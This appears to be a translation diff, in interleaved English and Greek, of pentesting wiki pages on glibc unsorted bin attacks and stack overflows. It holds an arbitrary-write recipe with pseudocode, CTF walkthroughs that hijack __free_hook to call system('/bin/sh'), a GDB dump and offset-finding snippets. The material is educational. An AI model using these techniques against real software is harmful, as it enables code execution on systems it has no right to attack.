- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where).
|
||||
- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note).
|
||||
- About `global_max_fast` on recent glibc
|
||||
- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies.
|
||||
- Παρεμβολή από Tcache: για μεγέθη που εμπίπτουν στο tcache, τα frees κατευθύνονται εκεί και δεν αγγίζουν το unsorted bin. Είτε
|
||||
- κάνε αιτήσεις με μεγέθη > MAX_TCACHE_SIZE (≥ 0x410 σε 64‑bit από προεπιλογή), ή
|
||||
- γέμισε την αντίστοιχη tcache bin (7 entries) ώστε τα επόμενα frees να φτάνουν στους global bins, ή
|
||||
- αν μπορείς να ελέγξεις το περιβάλλον, απενεργοποίησε το tcache (π.χ., GLIBC_TUNABLES glibc.malloc.tcache_count=0).
|
||||
- Έλεγχοι ακεραιότητας στο unsorted list: στην επόμενη διαδρομή allocation που εξετάζει το unsorted bin, η glibc ελέγχει (απλοποιημένα):
|
||||
- `bck->fd == victim` και `victim->fd == unsorted_chunks(av)`; αλλιώς abort με `malloc(): unsorted double linked list corrupted`.
|
||||
- Αυτό σημαίνει ότι η διεύθυνση που στοχεύεις πρέπει να αντέχει δύο writes: πρώτα `*(TARGET) = victim` στο free‑time; αργότερα, καθώς το chunk αφαιρείται, `*(TARGET) = unsorted_chunks(av)` (ο allocator ξαναγράφει το `bck->fd` στην κεφαλή του bin). Επίλεξε στόχους όπου το να επιβάλεις απλώς μια μεγάλη μη‑μηδενική τιμή είναι χρήσιμο.
|
||||
- Τυπικοί σταθεροί στόχοι σε σύγχρονα exploits
|
||||
- Κατάσταση εφαρμογής ή global state που θεωρεί "μεγάλες" τιμές ως flags/όρια.
|
||||
- Έμμεσες primitives (π.χ., προετοιμασία για επόμενο [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) ή για να pivot‑άρεις ένα μετέπειτα write‑what‑where).
|
||||
- Απόφυγε `__malloc_hook`/`__free_hook` σε νέες glibc: αφαιρέθηκαν στην 2.34. Απόφυγε `global_max_fast` σε ≥ 2.39 (βλ. παραπάνω σημείωση).
|
||||
- Σχετικά με το `global_max_fast` στις πρόσφατες glibc
|
||||
- Σε glibc 2.39+, `global_max_fast` είναι global 8‑bit. Το κλασικό κόλπο να γράψεις έναν heap pointer εκεί (για να μεγαλώσεις τα fastbins) δεν δουλεύει πλέον καθαρά και πιθανόν να κατεστρέψει το γειτονικό state του allocator. Προτίμησε άλλες στρατηγικές.
|
||||
|
||||
## Minimal exploitation recipe (modern glibc)
|
||||
## Ελάχιστη συνταγή εκμετάλλευσης (σύγχρονη glibc)
|
||||
|
||||
Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing.
|
||||
Στόχος: επίτευξη ενός single arbitrary write ενός heap pointer σε μια arbitrary διεύθυνση χρησιμοποιώντας το unsorted‑bin insertion primitive, χωρίς crash.
|
||||
|
||||
- Layout/grooming
|
||||
- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk.
|
||||
- Δέσμευσε A, B, C με μεγέθη αρκετά μεγάλα ώστε να παρακάμπτουν το tcache (π.χ., 0x5000). Το C αποτρέπει consolidation με το top chunk.
|
||||
- Corruption
|
||||
- Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`.
|
||||
- Overflow από το A στο header του B για να ορίσεις `B->bk = (mchunkptr)(TARGET - 0x10)`.
|
||||
- Trigger
|
||||
- `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`.
|
||||
- Continuation
|
||||
- If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big".
|
||||
- `free(B)`. Κατά την εισαγωγή ο allocator εκτελεί `bck->fd = B`, επομένως `*(TARGET) = B`.
|
||||
- Συνέχεια
|
||||
- Αν σκοπεύεις να συνεχίσεις να κάνεις allocations και το πρόγραμμα χρησιμοποιεί το unsorted bin, περίμενε ότι ο allocator αργότερα θα θέσει `*(TARGET) = unsorted_chunks(av)`. Και οι δύο τιμές είναι συνήθως μεγάλες και μπορεί να είναι αρκετές για να αλλάξουν semantics μεγέθους/ορίου σε στόχους που απλά ελέγχουν για "big".
|
||||
|
||||
Σκελετός ψευδοκώδικα:
|
||||
Pseudocode skeleton:
|
||||
```c
|
||||
// 64-bit glibc 2.35–2.38 style layout (tcache bypass via large sizes)
|
||||
void *A = malloc(0x5000);
|
||||
@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard
|
||||
free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
|
||||
```
|
||||
> [!NOTE]
|
||||
> • Αν δεν μπορείτε να παρακάμψετε το tcache με το μέγεθος, γεμίστε το tcache bin για το επιλεγμένο μέγεθος (7 frees) πριν απελευθερώσετε το διεφθαρμένο chunk ώστε το free να πάει στο unsorted.
|
||||
> • Αν το πρόγραμμα τερματίζει αμέσως στην επόμενη allocation λόγω των ελέγχων unsorted-bin, επανεξετάστε ότι `victim->fd` εξακολουθεί να ισούται με το bin head και ότι το `TARGET` σας κρατάει τον ακριβή δείκτη `victim` μετά το πρώτο write.
|
||||
> • Αν δεν μπορείς να παρακάμψεις το tcache με το μέγεθος, γέμισε το tcache bin για το επιλεγμένο μέγεθος (7 frees) πριν απελευθερώσεις το corrupted chunk έτσι ώστε το free να πάει στο unsorted.
|
||||
> • Αν το πρόγραμμα τερματίζει αμέσως στην επόμενη allocation λόγω των unsorted-bin checks, εξέτασε ξανά ότι `victim->fd` εξακολουθεί να ισούται με το bin head και ότι το `TARGET` σου κρατάει τον ακριβή pointer του `victim` μετά το πρώτο write.
|
||||
|
||||
## Unsorted Bin Infoleak Attack
|
||||
|
||||
Αυτή είναι στην ουσία μια πολύ βασική ιδέα. Τα chunks στο unsorted bin θα έχουν pointers. Το πρώτο chunk στο unsorted bin θα έχει στην πραγματικότητα τους συνδέσμους **`fd`** και **`bk`** **που δείχνουν σε ένα μέρος του main arena (Glibc)**.\
|
||||
Επομένως, αν μπορείτε **να βάλετε ένα chunk μέσα σε ένα unsorted bin και να το διαβάσετε** (use after free) ή **να το allocate ξανά χωρίς να υπερχρεώσετε τουλάχιστον έναν από τους pointers** και μετά να το **read**, μπορείτε να έχετε ένα **Glibc info leak**.
|
||||
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
|
||||
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
|
||||
|
||||
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), ήταν να εκμεταλλευτούν μια δομή 4 chunks (A, B, C και D - το D υπάρχει μόνο για να αποτρέψει τη συγχώνευση με το top chunk) έτσι ώστε ένα null byte overflow στο B να χρησιμοποιηθεί για να κάνει το C να δείχνει ότι το B ήταν unused. Επίσης, στο B τα δεδομένα `prev_size` τροποποιήθηκαν ώστε το μέγεθος, αντί να είναι το μέγεθος του B, να είναι A+B.\
|
||||
Έπειτα το C απελευθερώθηκε και συγχωνεύθηκε με το A+B (αλλά το B ήταν ακόμα in use). Ένα νέο chunk μεγέθους A διατέθηκε και τότε οι libc leaked addresses γράφτηκαν στο B από όπου έγιναν leak.
|
||||
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
|
||||
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
|
||||
|
||||
## Αναφορές & Άλλα παραδείγματα
|
||||
## References & Other examples
|
||||
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
|
||||
- Ο στόχος είναι να overwrite μια global μεταβλητή με μια τιμή μεγαλύτερη του 4869 ώστε να είναι δυνατόν να πάρεις το flag και το PIE να μην είναι ενεργοποιημένο.
|
||||
- Είναι δυνατό να δημιουργηθούν chunks αυθαίρετων μεγεθών και υπάρχει μια heap overflow με το επιθυμητό μέγεθος.
|
||||
- Η επίθεση ξεκινά δημιουργώντας 3 chunks: chunk0 για να εκμεταλλευτεί την overflow, chunk1 που θα overflow-αριστεί και chunk2 ώστε το top chunk να μην συγχωνεύσει τα προηγούμενα.
|
||||
- Στη συνέχεια, το chunk1 αποδεσμεύεται (freed) και το chunk0 overflow-άρεται ώστε το `bk` pointer του chunk1 να δείχνει σε: `bk = magic - 0x10`
|
||||
- Έπειτα, το chunk3 διατίθεται με το ίδιο μέγεθος όπως το chunk1, το οποίο θα ενεργοποιήσει το unsorted bin attack και θα τροποποιήσει την τιμή της global μεταβλητής, καθιστώντας δυνατό το flag.
|
||||
- Ο στόχος είναι να αντικατασταθεί μια global μεταβλητή με μια τιμή μεγαλύτερη από 4869 έτσι ώστε να είναι δυνατή η λήψη του flag και το PIE να μην είναι ενεργοποιημένο.
|
||||
- Είναι δυνατό να δημιουργηθούν chunks με αυθαίρετα μεγέθη και υπάρχει ένα heap overflow με το επιθυμητό μέγεθος.
|
||||
- Η επίθεση ξεκινά δημιουργώντας 3 chunks: chunk0 για να εκμεταλλευτεί το overflow, chunk1 που θα υπερχείλιζε και chunk2 ώστε το top chunk να μην συγχωνεύσει τα προηγούμενα.
|
||||
- Έπειτα, το chunk1 απελευθερώνεται και το chunk0 υπερχείλιζε έτσι ώστε ο `bk` pointer του chunk1 να δείχνει σε: `bk = magic - 0x10`
|
||||
- Έπειτα, το chunk3 δεσμεύεται με το ίδιο μέγεθος όπως το chunk1, το οποίο θα ενεργοποιήσει το unsorted bin attack και θα τροποποιήσει την τιμή της global μεταβλητής, καθιστώντας εφικτή τη λήψη του flag.
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- Η συνάρτηση merge είναι ευάλωτη επειδή αν περάσουν και τα δύο indexes το ίδιο, τότε θα κάνει realloc σε αυτό και μετά free αλλά επιστρέφει έναν pointer σε αυτή τη freed περιοχή που μπορεί να χρησιμοποιηθεί.
|
||||
- Επομένως, **δημιουργούνται 2 chunks**: **chunk0** το οποίο θα συγχωνευτεί με τον εαυτό του και chunk1 για να αποτρέψει τη συγχώνευση με το top chunk. Μετά, η συνάρτηση **merge** καλείται με το chunk0 δύο φορές, πράγμα που προκαλεί use after free.
|
||||
- Έπειτα, η συνάρτηση **`view`** καλείται με index 2 (που είναι ο index του use after free chunk), το οποίο θα **leak** μια libc address.
|
||||
- Καθώς το binary έχει προστασίες ώστε να κάνει malloc μόνο για μεγέθη μεγαλύτερα από το **`global_max_fast`** οπότε δεν χρησιμοποιείται fastbin, θα χρησιμοποιηθεί μια unsorted bin attack για να overwrite-αριστεί η global μεταβλητή `global_max_fast`.
|
||||
- Μετά, είναι δυνατό να καλέσεις τη συνάρτηση edit με το index 2 (το pointer του use after free) και να υπερχαρακτήσεις τον pointer `bk` ώστε να δείχνει σε `p64(global_max_fast-0x10)`. Έπειτα, η δημιουργία ενός νέου chunk θα χρησιμοποιήσει τη προηγουμένως παραβιασμένη free διεύθυνση (0x20) και θα **trigger** το unsorted bin attack, overwriting το `global_max_fast` με μια πολύ μεγάλη τιμή, επιτρέποντας πλέον τη δημιουργία chunks σε fast bins.
|
||||
- Η merge function είναι ευάλωτη γιατί αν και τα δύο indexes που περνιούνται είναι τα ίδια, θα κάνει realloc πάνω σε αυτό και μετά θα το free-άρει αλλά θα επιστρέψει έναν pointer σε εκείνη την freed περιοχή που μπορεί να χρησιμοποιηθεί.
|
||||
- Επομένως, **δημιουργούνται 2 chunks**: **chunk0** που θα συγχωνευτεί με τον εαυτό του και chunk1 για να αποτραπεί η ενοποίηση με το top chunk. Έπειτα, η **merge function καλείται με το chunk0** δύο φορές, κάτι που θα προκαλέσει use after free.
|
||||
- Στη συνέχεια, η **`view`** function καλείται με index 2 (που είναι το index του use after free chunk), η οποία θα **leak a libc address**.
|
||||
- Καθώς το binary έχει προστασίες ώστε να malloc-άρει μόνο μεγέθη μεγαλύτερα του **`global_max_fast`**, οπότε δεν χρησιμοποιείται fastbin, θα χρησιμοποιηθεί μια unsorted bin attack για να αντικαταστήσει την global μεταβλητή `global_max_fast`.
|
||||
- Έπειτα είναι δυνατό να καλέσεις την edit function με index 2 (τον use after free pointer) και να υπεργράψεις τον `bk` pointer ώστε να δείχνει σε `p64(global_max_fast-0x10)`. Στη συνέχεια, η δημιουργία ενός νέου chunk θα χρησιμοποιήσει τη προηγουμένως συμβιβασμένη διεύθυνση free (0x20) και θα **trigger the unsorted bin attack**, υπεργράφοντας το `global_max_fast` με μια πολύ μεγάλη τιμή, επιτρέποντας τώρα τη δημιουργία chunks στα fast bins.
|
||||
- Τώρα εκτελείται μια **fast bin attack**:
|
||||
- Αρχικά ανακαλύπτεται ότι είναι δυνατό να λειτουργήσουμε με fast chunks μεγέθους 200 στη θέση του **`__free_hook`**:
|
||||
- Πρώτον ανακαλύπτεται ότι είναι δυνατόν να δουλέψεις με fast **chunks of size 200** στην τοποθεσία του **`__free_hook`**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
@ -115,19 +115,19 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- Αν καταφέρουμε να έχουμε ένα fast chunk μεγέθους 0x200 σε αυτή τη θέση, θα είναι δυνατό να overwrite-αριστεί ένας function pointer που θα εκτελεστεί.
|
||||
- Για αυτό, δημιουργείται ένα νέο chunk μεγέθους `0xfc` και η συνάρτηση merged καλείται με αυτόν τον pointer δύο φορές, έτσι λαμβάνουμε έναν pointer σε freed chunk μεγέθους `0xfc*2 = 0x1f8` στο fast bin.
|
||||
- Έπειτα, η συνάρτηση edit καλείται σε αυτό το chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του fast bin ώστε να δείχνει στο προηγούμενο **`__free_hook`**.
|
||||
- Μετά, δημιουργείται ένα chunk με μέγεθος `0x1f8` για να ανακτήσει από το fast bin το προηγούμενο άχρηστο chunk και στη συνέχεια δημιουργείται άλλο ένα chunk μεγέθους `0x1f8` για να πάρει ένα fast bin chunk στο **`__free_hook`** το οποίο και overwritten-άρεται με τη διεύθυνση της συνάρτησης **`system`**.
|
||||
- Και τελικά, ένα chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη delete function, ενεργοποιώντας το **`__free_hook`** που δείχνει στο system με παράμετρο το `/bin/sh\x00`.
|
||||
- Αν καταφέρουμε να βάλουμε ένα fast chunk μεγέθους 0x200 σε αυτήν την τοποθεσία, θα είναι δυνατό να υπεγράψουμε έναν δείκτη συνάρτησης που θα εκτελεστεί.
|
||||
- Για αυτό, δημιουργείται ένα νέο chunk μεγέθους `0xfc` και η merge function καλείται με αυτόν τον pointer δύο φορές, έτσι αποκτούμε έναν pointer σε ένα freed chunk μεγέθους `0xfc*2 = 0x1f8` στο fast bin.
|
||||
- Στη συνέχεια, η edit function καλείται σε αυτό το chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του fast bin ώστε να δείχνει στην προηγούμενη συνάρτηση **`__free_hook`**.
|
||||
- Μετά, δημιουργείται ένα chunk με μέγεθος `0x1f8` για να ανακτήσει από το fast bin το προηγούμενο άχρηστο chunk, οπότε δημιουργείται ένα ακόμα chunk μεγέθους `0x1f8` για να πάρει ένα fast bin chunk στο **`__free_hook`** το οποίο υπεγράφη με τη διεύθυνση της συνάρτησης **`system`**.
|
||||
- Και τέλος ένα chunk που περιέχει το string `/bin/sh\x00` απελευθερώνεται καλώντας την delete function, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη system με `/bin/sh\x00` ως παράμετρο.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Ένα άλλο παράδειγμα εκμετάλλευσης ενός 1B overflow για να συγχωνευτούν chunks στο unsorted bin και να ληφθεί ένα libc infoleak και στη συνέχεια να γίνει fast bin attack για να overwrite-αριστεί το malloc hook με μια one gadget διεύθυνση
|
||||
- Ένα ακόμα παράδειγμα εκμετάλλευσης ενός 1B overflow για να ενοποιηθούν chunks στο unsorted bin και να αποκτηθεί ένα libc infoleak και στη συνέχεια να εκτελεστεί ένα fast bin attack για να υπεργραφεί το malloc hook με μια one gadget address
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- Μπορούμε να κάνουμε allocate μόνο chunks με μέγεθος μεγαλύτερο του `0x100`.
|
||||
- Overwrite του `global_max_fast` χρησιμοποιώντας Unsorted Bin attack (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά ουσιαστικά πρέπει να τροποποιήσουμε 16 bits).
|
||||
- Fast Bin attack για να τροποποιηθεί ένας global πίνακας από chunks. Αυτό δίνει ένα arbitrary read/write primitive, που επιτρέπει να τροποποιηθεί το GOT και να δείξει κάποια συνάρτηση στο `system`.
|
||||
- Μπορούμε να δεσμεύσουμε μόνο chunks μεγέθους μεγαλύτερου του `0x100`.
|
||||
- Υπεγράψτε το `global_max_fast` χρησιμοποιώντας μια Unsorted Bin attack (λειτουργεί 1/16 φορές λόγω ASLR, επειδή χρειάζεται να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits).
|
||||
- Fast Bin attack για να τροποποιήσει έναν global πίνακα chunks. Αυτό δίνει ένα arbitrary read/write primitive, το οποίο επιτρέπει την τροποποίηση του GOT και να ορίσει κάποια συνάρτηση να δείχνει στη `system`.
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
|
||||
- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## Τι είναι ένα Stack Overflow
|
||||
|
||||
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
|
||||
Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχουν δεσμευτεί για να τα κρατήσει. Αυτά τα πλεονάζοντα δεδομένα θα **επαναγράψουν τον παρακείμενο χώρο μνήμης**, οδηγώντας σε καταστροφή έγκυρων δεδομένων, διατάραξη της ροής ελέγχου και ενδεχομένως στην εκτέλεση κακόβουλου κώδικα. Το πρόβλημα αυτό προκύπτει συχνά λόγω χρήσης μη ασφαλών συναρτήσεων που δεν ελέγχουν τα όρια της εισόδου.
|
||||
|
||||
Το κύριο πρόβλημα αυτής της υπεργραφής είναι ότι ο **saved instruction pointer (EIP/RIP)** και ο **saved base pointer (EBP/RBP)** που χρησιμοποιούνται για την επιστροφή στην προηγούμενη συνάρτηση **αποθηκεύονται στη stack**. Επομένως, ένας επιτιθέμενος θα μπορεί να τους υπεγράψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**.
|
||||
Το κύριο πρόβλημα αυτής της επανεγγραφής είναι ότι ο **saved instruction pointer (EIP/RIP)** και ο **saved base pointer (EBP/RBP)** που χρησιμοποιούνται για να επιστρέψει στην προηγούμενη συνάρτηση **αποθηκεύονται στο stack**. Επομένως, ένας επιτιθέμενος θα μπορεί να τα επαναγράψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**.
|
||||
|
||||
Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στη stack περισσότερα bytes απ' όσα έχουν δεσμευτεί για αυτήν**, επιτρέποντας έτσι την υπεργραφή άλλων τμημάτων της stack.
|
||||
Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει μέσα στο stack περισσότερα bytes από το ποσό που της έχει δεσμευτεί**, επιτρέποντας έτσι την επανεγγραφή άλλων τμημάτων του stack.
|
||||
|
||||
Κάποιες κοινές συναρτήσεις ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read`** & **`memcpy`** που παίρνουν ένα **length argument**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το δεσμευμένο.
|
||||
Κάποιες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read`** & **`memcpy`** που παίρνουν ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το δεσμευμένο.
|
||||
|
||||
Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες:
|
||||
```c
|
||||
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Εύρεση offset για Stack Overflows
|
||||
### Εύρεση Stack Overflows offsets
|
||||
|
||||
Ο πιο συνηθισμένος τρόπος για να εντοπίσετε stack overflows είναι να δώσετε μια πολύ μεγάλη είσοδο από `A` (π.χ. `python3 -c 'print("A"*1000)'`) και να περιμένετε ένα `Segmentation Fault` που υποδεικνύει ότι η **διεύθυνση `0x41414141` επιχειρήθηκε να προσπελαστεί**.
|
||||
Ο πιο συνηθισμένος τρόπος για να βρείτε stack overflows είναι να δώσετε ένα πολύ μεγάλο input από `A`s (π.χ. `python3 -c 'print("A"*1000)'`) και να περιμένετε ένα `Segmentation Fault` που υποδεικνύει ότι η **διεύθυνση `0x41414141` προσπαθήθηκε να προσπελαστεί**.
|
||||
|
||||
Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow θα χρειαστεί να βρείτε τον offset μέχρι να είναι δυνατό να **overwrite the return address**, για αυτό συνήθως χρησιμοποιείται μια **De Bruijn sequence.** Η οποία, για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_, είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους _n_ εμφανίζεται ακριβώς μία φορά** ως συνεχόμενη υποακολουθία.
|
||||
Επιπλέον, μόλις διαπιστώσετε ότι υπάρχει Stack Overflow vulnerability, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να **overwrite the return address**, για αυτό συνήθως χρησιμοποιείται μια **De Bruijn sequence.** Η οποία, για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_, είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους _n_ εμφανίζεται ακριβώς μία φορά** ως συνεχόμενη υποακολουθία.
|
||||
|
||||
Με αυτόν τον τρόπο, αντί να χρειάζεται να υπολογίσετε χειροκίνητα ποιος offset απαιτείται για να ελέγξετε το EIP, μπορείτε να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε τον offset των bytes που κατέληξαν να την επικαλύψουν.
|
||||
Με αυτόν τον τρόπο, αντί να χρειάζεται να βρείτε χειροκίνητα ποιο offset απαιτείται για να ελέγξετε το EIP, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των bytes που κατέληξαν να την αντικαταστήσουν.
|
||||
|
||||
It's possible to use **pwntools** for this:
|
||||
Μπορείτε να χρησιμοποιήσετε **pwntools** για αυτό:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Εκμετάλλευση Stack Overflows
|
||||
|
||||
Κατά τη διάρκεια ενός overflow (υποθέτοντας ότι το μέγεθος του overflow είναι αρκετά μεγάλο) θα μπορείτε να **overwrite** τιμές τοπικών μεταβλητών μέσα στο stack μέχρι να φτάσετε τους αποθηκευμένους **EBP/RBP and EIP/RIP (or even more)**.\
|
||||
Ο πιο κοινός τρόπος κατάχρησης αυτού του τύπου ευπάθειας είναι με **τροποποίηση του return address** έτσι ώστε όταν η συνάρτηση τερματίσει το **control flow** να ανακατευθυνθεί όπου έχει οριστεί στον pointer από τον χρήστη.
|
||||
Κατά τη διάρκεια ενός overflow (υποθέτοντας ότι το μέγεθος του overflow είναι αρκετά μεγάλο) θα μπορείτε να **overwrite** τιμές τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε τον αποθηκευμένο **EBP/RBP and EIP/RIP (or even more)**.\
|
||||
Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι με **modifying the return address**, έτσι ώστε όταν η συνάρτηση τελειώσει η **control flow will be redirected wherever the user specified** σε αυτόν τον pointer.
|
||||
|
||||
Ωστόσο, σε άλλα σενάρια ίσως αρκεί απλώς η **overwriting some variables values in the stack** για την εκμετάλλευση (όπως σε εύκολες CTF προκλήσεις).
|
||||
Ωστόσο, σε άλλα σενάρια ίσως απλώς το **overwriting some variables values in the stack** να είναι αρκετό για την εκμετάλλευση (όπως σε easy CTF challenges).
|
||||
|
||||
### Ret2win
|
||||
|
||||
Σε αυτό το είδος CTF challenges, υπάρχει μια **function** μέσα στο binary που **never called** και την οποία **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται μόνο να βρείτε το **offset to overwrite the return address** και να **βρείτε τη διεύθυνση της function** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι disabled) έτσι ώστε όταν η ευπαθής function επιστρέψει, η κρυφή function θα κληθεί:
|
||||
Σε αυτόν τον τύπο CTF challenges, υπάρχει μια **function** **inside** το binary που **never called** και που **you need to call in order to win**. Για αυτές τις προκλήσεις χρειάζεται απλά να βρείτε το **offset to overwrite the return address** και να **find the address of the function** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι disabled) ώστε όταν η ευάλωτη function επιστρέψει, η κρυφή function να κληθεί:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -66,7 +66,7 @@ ret2win/
|
||||
|
||||
### Stack Shellcode
|
||||
|
||||
Σε αυτό το σενάριο ο attacker μπορεί να τοποθετήσει ένα shellcode στο stack και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να κάνει jump στο shellcode και να εκτελέσει αυθαίρετο κώδικα:
|
||||
Σε αυτό το σενάριο ο attacker μπορεί να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να πηδήξει στο shellcode και να εκτελέσει arbitrary code:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -75,7 +75,7 @@ stack-shellcode/
|
||||
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
Σε 32-bit Windows, ένα overflow μπορεί να overwrite το Structured Exception Handler (SEH) chain αντί για τη σωζόμενη return address. Η εκμετάλλευση συνήθως αντικαθιστά τον SEH pointer με ένα POP POP RET gadget και χρησιμοποιεί το 4-byte πεδίο nSEH για ένα σύντομο jump ώστε να pivot πίσω στο μεγάλο buffer όπου βρίσκεται το shellcode. Ένα κοινό pattern είναι ένα σύντομο jmp στο nSEH που καταλήγει σε ένα 5-byte near jmp τοποθετημένο λίγο πριν το nSEH για να κάνει jump εκατοντάδες bytes πίσω στην αρχή του payload.
|
||||
